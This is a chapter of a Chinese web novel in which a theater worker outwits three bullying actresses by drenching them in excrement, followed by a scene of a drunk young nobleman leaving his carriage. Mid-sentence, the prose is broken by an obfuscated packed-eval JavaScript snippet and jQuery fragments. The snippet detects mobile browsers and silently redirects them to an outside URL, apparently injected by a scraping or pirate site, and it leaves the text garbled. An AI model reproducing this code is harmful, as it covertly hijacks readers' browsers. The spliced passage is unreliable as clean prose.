雇佣了沈明玉的这座戏楼,位于西街市的繁华地段,楼高有两层,占地五千尺,虽然在整个云城排不上号,但对于周围而言,依旧是平头小户不敢踏足的地界。
一张戏票上百文,一盘小菜又是好几十,在这个外头做一天力工也才七八十文,一斤猪肉需要二十八文的物价里,也就只有富贵闲人才舍得往这种扔钱的楼子里跑了。
要说大家公认的经济实惠,那还得是集市里的路边摊戏楼,就那么划出一片地儿,几根撑子一起,几块破布一搭,抹着艳丽油彩穿着廉价戏服的卖艺者在上面拉腔长唱,然后随着脚步的踢踏声,楼子也跟着发出轻微晃动。
呼啦啦,呼啦啦。
戏台前被摆上的细窄长凳拥挤紧凑,且上头偶尔还有上位听众剩下的鼻涕烟灰。
可谁会介意?
老实听戏的聚精会神听一上午,也只用花几个铜板,不老实听戏的眼珠在台上滴流转悠,然后在这台戏结束下台戏登场的间隙时,凑上去谈价,如此也只需花上三四十铜板,便能买得一场欢愉。
如此价廉,那才是平头小民公认的听戏地儿。
当然,对于这种颇具规模的戏楼,小民们认不认可也没多大关系,毕竟他们的客户来源也并非她们。
趁着忙碌的间隙,沈明玉转转这里,逛逛那边,这时,同她前后脚进来同为力工的青枝迷茫问询。
“你转来转去做什么?干这么多活还不累吗?不趁有时间赶紧歇歇。”
沈明玉眯眯眼,只是笑而不语。
太阳西斜,夜幕降临,时间很快来到晚上,而沈明玉,她也终于寻好了解决地方。
是厕所,不是戏楼大厅以供客人使用的干净厕所,而是戏楼后门逼仄的小巷里,专让工人使用的露天厕所。
她先在夜色已黑,众人聚集一堆都赶着下工的时辰,一声惊叫捂着肚子,然后在旁人的关心中,苦皱着脸声调洪亮的吐出目的地。
“肚子好疼,我要去趟厕所。”
然后一去小半刻,等到工人走光,戏楼锁门,左瞅右看,四下无人时,对方也没辜负沈明玉的期待,终于出现在了厕所外头。
出现的共有三个。
领头的是个十八九岁的高大女子,身高腿长,肌肉壮实,一张脸长得也颇具这个时代的审美,肌肤白皙,眉飞入鬓。
沈明玉认识她,她是共享这处戏楼的,两个戏班中的其中一个名叫欢喜班里的武生,算是里头的女子门面,名字也是不辜负她这幅貌,艺名芳月。
至于剩下跟在她后头的两个,沈明玉没什么印象,观其身形,也算魁梧,但脸蛋却没有芳月抢眼,想来也就是一个戏班里的跟班同伴。
这事儿说来罗嗦,但于此时现实中也就是愣神一秒的时间罢了,在打开厕门看到三人出现的一瞬间,沈明玉啪的一声又迅速关上了门。
“……”
芳月脸上邪肆嚣张的笑容一愣,沉默两秒,灵活改变了战略,她也不静静站在那里装逼吓人了,而是粗黑的眉毛一皱,挤出副凶神恶煞的嘴脸,然后手一挥,利落干脆。
“你们俩,去把她给我拖出来,格老娘的,以为躲着不见就行了?敢抢我芳月的相好,小丫头真是活腻味了——”
那语气,那嘴脸,活脱脱恶霸现世,欺压良民。
“好,师姐你等着,我们这就把她拖出来,这小鸡嘎一样的身材,拖她不就跟拖只鸭一样简单。”
被逼逼瘦的像只鸭的沈明玉;“……”
她柔弱无助的堵住厕所的门,声调听上去慌乱又急切。
“你们……你们想干什么!我告诉你们,咱们望春楼是不允许斗殴的,唐老板定下的规矩现在还贴在墙上呢!”
“哈哈哈,谁在乎那个!”
芳月的猖狂大笑张扬,连带着她身边的同伴,都跟着烘起了气氛。
“就是!哈哈哈哈,那贴在墙上的规矩算什么规矩?谁管它哟?小丫头,这回你可死定了哈哈哈——”
“还躲在厕所不开门,里面的气味好闻不?等老娘把你揪出来暴打一顿后,再好好用粪便给你醒醒神!”
“别急,马上就满足你了,哈哈哈哈……”
“……”
三个人,你一句我一句,一个比一个笑的得意,一个比一个眉眼猖狂。
而被恶言攻击的沈明玉,许是眼看规矩靠不住,便干脆话风一转,与外头恶霸讲起了道理。
“我就是一干活的,你找我事儿干什么?还什么我勾引了你相好,我啥时候勾引的?你怎么这么会冤枉人!”
说起这个,芳月是真的来气。
“我都看到了,你还敢说没有!”
她浓黑的眉毛狠狠竖起,观气势,竟是比刚刚还要愤怒。
“你个白脸臭丫头,踏足别地儿,也不先打听打听关系,敢舔着脸勾引我相好,你是真的不想活了——”
伴随着外头的砰砰砰踹门声,沈明玉嗓音慌乱;
“你相好是谁呀?说我勾引他,那你倒是给我说下名字啊!”
芳月正在兀自生气中,踹门的两人便当了她的嘴替;“问问问,还能是谁?肯定是咱戏班里最红的小春枝啊——”
小春枝?
沈明玉脑海里迅速扒拉出这个人影。
一个十五岁容貌艳气的男孩,欢喜班台柱之一。
那男孩是这人的相好?
真看不出来。
对方可是三句话不离首饰,五句话便炫耀客人,超过十句就能打探出对方当晚下工后共赴晚宴的人是谁。
啧!
沈明玉嘴里唏嘘感叹,有些同情外面明显对男子非常在意的对方,但行动上——
“怎么可能!”她语气不信,大声反问;
“春枝老板手上一个戒指近百两,一根簪子全赤金,他说过这些都是他相好给他买的,如果你是的话,你怎么买得起……”
踹门的两人嚣张表情同时僵住,然后下一刻,便迎来了她们老大恼羞成怒的大吼。
“臭丫头,你找死!”
声音落,拳脚也至,面前这个因对里面物什有所顾忌,所以被两人踹了半天还没踹开的厚实木门,就这样在芳月一脚力度下,轰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419536|168966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然而开。
见到这幅场景,三人表情同时一愣,但盛怒中的情绪压根来不及得意,看到门被踹开,芳月也不让两个跟班打前锋了,直接自己就骂骂咧咧冲了进去。
“——小崽子,你逃啊!你还逃啊!看老娘不掐着你脖子喂你屎……”
两个跟班在后头同时露出了恶劣微笑。
然而下一刻,当她家老大脚步完全踏入厕所门的那一刻。
一声惨叫,突兀响起。
这声音……
两人对视一眼,同时一惊,赶紧脚下使力,猛往前冲。
再然后,两人就被扑面而来的粪便砸了一脸。
一脸一脸一脸一脸……
“啊——”那尖锐的女高音,简直比刚刚她们老大叫的都上头。
而厕所里一直以来呈现弱势,看上去被几人逼得惊慌又害怕的沈明玉,则是静静站在厕所里唯一还算干净的角落,看着三人惨样,很是愉快的露出了八颗牙微笑,然后将手里灌满粪便的小桶一丢,以手撑墙,一个使力便翻出了厕所外。
同时,还留下了她无比嚣张的嘲讽音。
“我的baby们,吃屎的感觉怎么样?好好享受吧哈哈哈哈。”
被留下的三个人听不懂什么叫baby,当然这也不重要,重要的是,她们真的真的要疯了。
回应沈明玉嚣张笑声的,是三个人一起尖叫的崩溃音。
……
夜深人静,街道无人。
一辆古朴大气的马车由两匹膘肥体壮的骏马拉着,如此咕噜咕噜行走在寂静的街道上。
行到一半,正在平稳驭车的车妇被紧急叫停。
马车内,文书一脸焦躁的看着歪斜在塌上,此时此刻满面赤红眉头紧皱,一看就极为难受的公子。
“公子,醒醒,很难受吗?”
“是想吐吗?想吐就吐吧,咱们车里有盆的。”
“公子——”
“公子——”
连声呼唤无回应,此时此刻,文书秀丽眉眼间的焦躁几乎都要溢出来了。
半晌,他一咬牙掀帘而出,撩起长摆就跳下了车。
并在对望过来的车妇殷殷叮嘱后,撒起脚丫就以最快的速度往后跑。
“公子今儿喝的太杂了,不买些醒酒物不行,绪娘,你车停在这儿,让公子好好休息休息,这处离医馆近,我去去就回,你小心注意着公子——”
话没说完,扬起的衣摆便消失在街拐角,而因为跑得太快,他话里的最后一句也跟他扬起的衣摆一样,就这样消散在夜晚的清风中。
驭车的绪娘没听清。
那句是;“小心注意着公子,别让他下车啊!”
文书是公子近身伺候的贴身人,他清楚知道酒醉后的公子禁忌,可奈何,一向只会赶车的绪娘不知啊。
于是,半炷香时间后,于车厢里难受到悠悠转醒的谢玉砚,以幽深的眼睛挑开帘,以冷静的口气下命令;“车里有点闷,我出去吹吹风”后,没听到最后一句叮嘱的绪娘老实点头,就那样眼睁睁的看着她家主子走出了马车。